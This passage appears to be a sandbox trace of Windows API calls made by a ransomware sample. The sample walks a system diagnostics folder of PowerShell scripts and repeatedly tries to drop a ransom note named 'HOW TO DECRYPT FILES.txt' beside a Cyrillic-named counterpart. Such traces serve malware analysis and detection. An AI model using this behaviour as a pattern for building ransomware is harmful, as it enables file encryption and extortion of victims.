(pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_PowerPolicySetting.ps1") returned="RS_PowerPolicySetting.ps1" [0126.273] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.273] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.273] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.273] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.274] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.274] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.274] CloseHandle (hObject=0xffffffff) returned 0 [0126.274] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_Themes.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_Themes.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_Themes.ps1" [0126.274] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\RS_Themes.ps1", pszSpec="*.ems") returned 0 [0126.274] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.275] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Transparency.ps1") returned -1 [0126.275] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Transparency.ps1") returned -1 [0126.275] lstrcmpiA (lpString1="", lpString2="RS_Transparency.ps1") returned -1 [0126.275] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_Themes.ps1") returned="RS_Themes.ps1" [0126.275] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.275] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.275] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.275] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.275] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.275] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.276] CloseHandle (hObject=0xffffffff) returned 0 [0126.276] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_Transparency.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_Transparency.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_Transparency.ps1" [0126.276] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_UXSMS.ps1") returned -1 [0126.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_UXSMS.ps1") returned -1 [0126.276] lstrcmpiA (lpString1="", lpString2="RS_UXSMS.ps1") returned -1 [0126.276] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_Transparency.ps1") returned="RS_Transparency.ps1" [0126.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.276] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.276] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.276] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.277] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.277] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.277] CloseHandle (hObject=0xffffffff) returned 0 [0126.277] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_UXSMS.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_UXSMS.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_UXSMS.ps1" [0126.277] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.277] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_WinSat.ps1") returned -1 [0126.277] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_WinSat.ps1") returned -1 [0126.278] lstrcmpiA (lpString1="", lpString2="RS_WinSat.ps1") returned -1 [0126.278] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_UXSMS.ps1") returned="RS_UXSMS.ps1" [0126.278] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.278] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.278] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.278] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.278] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.278] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.278] CloseHandle (hObject=0xffffffff) returned 0 [0126.279] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="RS_WinSat.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\RS_WinSat.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\RS_WinSat.ps1" [0126.279] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.279] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_ColorTheme.ps1") returned -1 [0126.279] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_ColorTheme.ps1") returned -1 [0126.279] lstrcmpiA (lpString1="", lpString2="TS_ColorTheme.ps1") returned -1 [0126.279] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\RS_WinSat.ps1") returned="RS_WinSat.ps1" [0126.279] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.279] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.279] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.279] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.280] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.280] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.280] CloseHandle (hObject=0xffffffff) returned 0 [0126.280] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_ColorTheme.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_ColorTheme.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_ColorTheme.ps1" [0126.280] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.281] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DWMEnable.ps1") returned -1 [0126.281] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DWMEnable.ps1") returned -1 [0126.281] lstrcmpiA (lpString1="", lpString2="TS_DWMEnable.ps1") returned -1 [0126.281] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_ColorTheme.ps1") returned="TS_ColorTheme.ps1" [0126.281] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.281] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.281] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.281] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.281] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.282] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.282] CloseHandle (hObject=0xffffffff) returned 0 [0126.282] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_DWMEnable.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_DWMEnable.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_DWMEnable.ps1" [0126.282] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.282] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_HardwareSupport.ps1") returned -1 [0126.282] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_HardwareSupport.ps1") returned -1 [0126.282] lstrcmpiA (lpString1="", lpString2="TS_HardwareSupport.ps1") returned -1 [0126.282] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_DWMEnable.ps1") returned="TS_DWMEnable.ps1" [0126.282] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.283] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.283] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.283] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.283] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.283] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.283] CloseHandle (hObject=0xffffffff) returned 0 [0126.283] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_HardwareSupport.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_HardwareSupport.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_HardwareSupport.ps1" [0126.283] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.284] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_LowColorDepth.ps1") returned -1 [0126.284] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_LowColorDepth.ps1") returned -1 [0126.284] lstrcmpiA (lpString1="", lpString2="TS_LowColorDepth.ps1") returned -1 [0126.284] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_HardwareSupport.ps1") returned="TS_HardwareSupport.ps1" [0126.284] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.284] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.284] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.284] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.284] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.285] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.285] CloseHandle (hObject=0xffffffff) returned 0 [0126.285] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_LowColorDepth.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_LowColorDepth.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_LowColorDepth.ps1" [0126.285] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.286] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_MirrorDriver.ps1") returned -1 [0126.286] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_MirrorDriver.ps1") returned -1 [0126.286] lstrcmpiA (lpString1="", lpString2="TS_MirrorDriver.ps1") returned -1 [0126.286] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_LowColorDepth.ps1") returned="TS_LowColorDepth.ps1" [0126.286] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.286] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.286] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.286] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.286] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.287] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.287] CloseHandle (hObject=0xffffffff) returned 0 [0126.287] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_MirrorDriver.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_MirrorDriver.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_MirrorDriver.ps1" [0126.287] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.287] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_PowerPolicySetting.ps1") returned -1 [0126.287] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_PowerPolicySetting.ps1") returned -1 [0126.287] lstrcmpiA (lpString1="", lpString2="TS_PowerPolicySetting.ps1") returned -1 [0126.288] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_MirrorDriver.ps1") returned="TS_MirrorDriver.ps1" [0126.288] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.288] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.288] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.288] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.288] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.288] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.288] CloseHandle (hObject=0xffffffff) returned 0 [0126.289] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_PowerPolicySetting.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_PowerPolicySetting.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_PowerPolicySetting.ps1" [0126.289] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.289] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_SKU.ps1") returned -1 [0126.289] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_SKU.ps1") returned -1 [0126.289] lstrcmpiA (lpString1="", lpString2="TS_SKU.ps1") returned -1 [0126.289] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_PowerPolicySetting.ps1") returned="TS_PowerPolicySetting.ps1" [0126.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.289] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.289] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.289] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.289] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.290] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.290] CloseHandle (hObject=0xffffffff) returned 0 [0126.290] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_SKU.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_SKU.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_SKU.ps1" [0126.290] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_Themes.ps1") returned -1 [0126.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_Themes.ps1") returned -1 [0126.290] lstrcmpiA (lpString1="", lpString2="TS_Themes.ps1") returned -1 [0126.290] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_SKU.ps1") returned="TS_SKU.ps1" [0126.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.291] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.291] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.291] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.291] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: 